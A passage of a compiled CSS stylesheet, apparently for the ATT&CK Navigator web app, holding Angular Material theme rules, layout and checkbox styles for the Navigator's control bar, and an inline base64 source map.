.mat-tab-link.mat-tab-disabled,.mat-tab-nav-bar.mat-background-warn .mat-tab-label.mat-tab-disabled,.mat-tab-nav-bar.mat-background-warn .mat-tab-link.mat-tab-disabled{color:rgba(255,255,255,.4)}\n.mat-tab-group.mat-background-warn .mat-tab-header-pagination-chevron,.mat-tab-nav-bar.mat-background-warn .mat-tab-header-pagination-chevron{border-color:#fff}\n.mat-tab-group.mat-background-warn .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.mat-tab-nav-bar.mat-background-warn .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:rgba(255,255,255,.4)}\n.mat-tab-group.mat-background-warn .mat-ripple-element,.mat-tab-nav-bar.mat-background-warn .mat-ripple-element{background-color:rgba(255,255,255,.12)}\n.mat-toolbar{background:#f5f5f5;color:rgba(0,0,0,.87)}\n.mat-toolbar.mat-primary{background:#3f51b5;color:#fff}\n.mat-toolbar.mat-accent{background:#ff4081;color:#fff}\n.mat-toolbar.mat-warn{background:#f44336;color:#fff}\n.mat-toolbar .mat-focused .mat-form-field-ripple,.mat-toolbar .mat-form-field-ripple,.mat-toolbar .mat-form-field-underline{background-color:currentColor}\n.mat-toolbar .mat-focused .mat-form-field-label,.mat-toolbar .mat-form-field-label,.mat-toolbar .mat-form-field.mat-focused .mat-select-arrow,.mat-toolbar .mat-select-arrow,.mat-toolbar .mat-select-value{color:inherit}\n.mat-toolbar .mat-input-element{caret-color:currentColor}\n.mat-tooltip{background:rgba(97,97,97,.9)}\n.mat-tree{background:#fff}\n.mat-nested-tree-node,.mat-tree-node{color:rgba(0,0,0,.87)}\n.mat-snack-bar-container{color:rgba(255,255,255,.7);background:#323232;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)}\n.mat-simple-snackbar-action{color:#ff4081}\n/**\n * Colors used across the Navigator. Shared by the ATT&CK Website.\n * For each color-pair:\n * - \"color\" refers to the color itself\n * - \"on-color\" refers to the most readable text-color to appear on top of the color. \n * Note: some colors don't define on-colors. This is because, for these colors, they aren't intended to\n * appear with inner content. For example, \"link\" is only intended to be used for link text, which inherently\n * cannot have inner text.\n */\nbody {\n padding: 0 15px 15px 15px;\n margin-top: 0;\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen, Ubuntu, Cantarell, \"Open Sans\", \"Helvetica Neue\", sans-serif;\n}\n.noselect {\n -webkit-touch-callout: none;\n /* iOS Safari */\n -webkit-user-select: none;\n /* Safari */\n /* Konqueror HTML */\n -moz-user-select: none;\n /* Firefox */\n -ms-user-select: none;\n /* Internet Explorer/Edge */\n user-select: none;\n /* Non-prefixed version, currently\n supported by Chrome and Opera */\n}\n.controlsContainer {\n background-color: #ddd;\n text-align: right;\n display: block;\n}\n.controlsContainer ul {\n margin: 0;\n}\n.controlsContainer .control-sections > li {\n list-style: none;\n display: inline-block;\n border-left: 1px solid #c9c9c9;\n padding: 0 5px 0 5px;\n position: relative;\n}\n.controlsContainer .control-sections > li .section-label {\n font-size: 8pt;\n top: -13px;\n position: absolute;\n border-color: white;\n border-style: solid;\n border-width: 1px 1px 0 1px;\n padding: 0 5px;\n background-color: #ddd;\n border-radius: 2px 2px 0 0;\n text-align: center;\n color: #555;\n cursor: default;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n white-space: nowrap;\n}\n.controlsContainer .control-sections > li .control-row-item {\n display: inline-block;\n position: relative;\n height: 34px;\n}\n.controlsContainer .control-sections > li .control-row-item .control-row-button {\n border-radius: 3px;\n padding: 5px;\n height: 24px;\n cursor: pointer;\n}\n.controlsContainer .control-sections > li .control-row-item .control-row-button:hover {\n background-color: #d0d0d0;\n}\n.controlsContainer .control-sections > li .control-row-item .control-row-button.dropdown::after {\n font-size: 5pt;\n content: \"▼\";\n}\n.controlsContainer .control-sections > li .control-row-item .dropdown-container {\n border: 1px solid black;\n background-color: white;\n box-shadow: 10px 10px 5px rgba(0, 0, 0, 0.5);\n position: absolute;\n z-index: 100;\n width: -webkit-max-content;\n width: -moz-max-content;\n width: max-content;\n}\n.controlsContainer .control-sections > li .control-row-item .dropdown-container.left {\n right: 0;\n}\n.controlsContainer .control-sections > li .control-row-item .dropdown-container.inputfield {\n width: 150px;\n padding: 0px 10px;\n}\n.controlsContainer .control-sections > li .control-row-item .dropdown-container.inputfield mat-form-field {\n width: 100%;\n}\n.controlsContainer .control-sections > li .control-row-item .dropdown-container.inputfield mat-form-field:first-child {\n padding-top: 5px;\n}\n.checkbox-custom {\n opacity: 0;\n position: absolute;\n}\n.checkbox-custom:disabled {\n cursor: default;\n}\n.checkbox-custom, .checkbox-custom-label {\n display: inline-block;\n vertical-align: middle;\n margin: 5px;\n cursor: pointer;\n}\n.checkbox-custom-label {\n position: relative;\n}\n.checkbox-custom-label.disabled {\n color: rgba(0, 0, 0, 0.46);\n cursor: default;\n}\n.checkbox-custom + .checkbox-custom-label:before {\n content: \"\";\n background: #fff;\n border: 3px solid #ddd;\n display: inline-block;\n vertical-align: middle;\n width: 10px;\n height: 10px;\n padding: 2px;\n margin-right: 5px;\n text-align: center;\n}\n.checkbox-custom:checked + .checkbox-custom-label:before {\n background: #60c5ff;\n box-shadow: inset 0px 0px 0px 1px #60c5ff;\n}\n.checkbox-custom:checked:disabled + .checkbox-custom-label:before {\n background: #b0b0b0;\n box-shadow: inset 0px 0px 0px 1px #b0b0b0;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInNyYy9zdHlsZXMuc2NzcyIsIi9ob21lL0xPTi9iZXJuYWxvL2dpdC9hdHRhY2stbmF2aWdhdG9yL25hdi1hcHAvc3JjL3N0eWxlcy5zY3NzIiwibm9kZV9tb2R1bGVzL0Bhbmd1bGFyL21hdGVyaWFsL3ByZWJ1aWx0LXRoZW1lcy9pbmRpZ28tcGluay5jc3MiLCIvaG9tZS9MT04vYmVybmFsby9naXQvYXR0YWNrLW5hdmlnYXRvci9uYXYtYXBwL3NyYy9jb2xvcnMuc2NzcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQSxnQkFBZ0I7QUNBaEIsOEVBQUE7QUNBQSxtQkFBbUIsZUFBZSxDQUFDLGNBQWMsQ0FBQyw4Q0FBOEM7QUFBQyxvQ0FBb0MsYUFBYTtBQUFDLG9DQUFvQyxjQUFjO0FBQUMseUNBQXlDLHFEQUFxRCxDQUFDLGVBQWU7QUFBQyxzQ0FBc0MscURBQXFELENBQUMsZUFBZTtBQUFDLDZDQUE2QyxxREFBcUQsQ0FBQyxlQUFlO0FBQUMsNkNBQTZDLHFEQUFxRCxDQUFDLGVBQWU7QUFBQywyQkFBMkIsaUVBQWlFLENBQUMsZUFBZTtBQUFDLDJCQUEyQixpRUFBaUUsQ0FBQyxlQUFlO0FBQUMsNkJBQTZCLHFEQUFxRDtBQUFDLHNDQUFzQyxxREFBcUQ7QUFBQyw0Q0FBNEMsZUFBZTtBQUFDLHdCQUF3QixxREFBcUQ7QUFBQyw4Q0FBOEMsdURBQXVELENBQUMscUJBQXFCLENBQUMsZUFBZTtBQUFDLDhDQUE4QyxxREFBcUQsQ0FBQyxxQkFBcUIsQ0FBQyxlQUFlO0FBQUMsOENBQThDLHFEQUFxRCxDQUFDLHNCQUFzQixDQUFDLGVBQWU7QUFBQyw4Q0FBOEMscURBQXFELENBQUMsZUFBZTtBQUFDLDRCQUE0QixxREFBcUQ7QUFBQyw0R0FBNEcsOENBQThDLENBQUMsY0FBYyxDQUFDLGVBQWU7QUFBQyxtQkFBbUIsOENBQThDO0FBQUMsVUFBVSw4Q0FBOEM7QUFBQyxnQkFBZ0IsY0FBYyxDQUFDLGVBQWU7QUFBQyxpQ0FBaUMsY0FBYztBQUFD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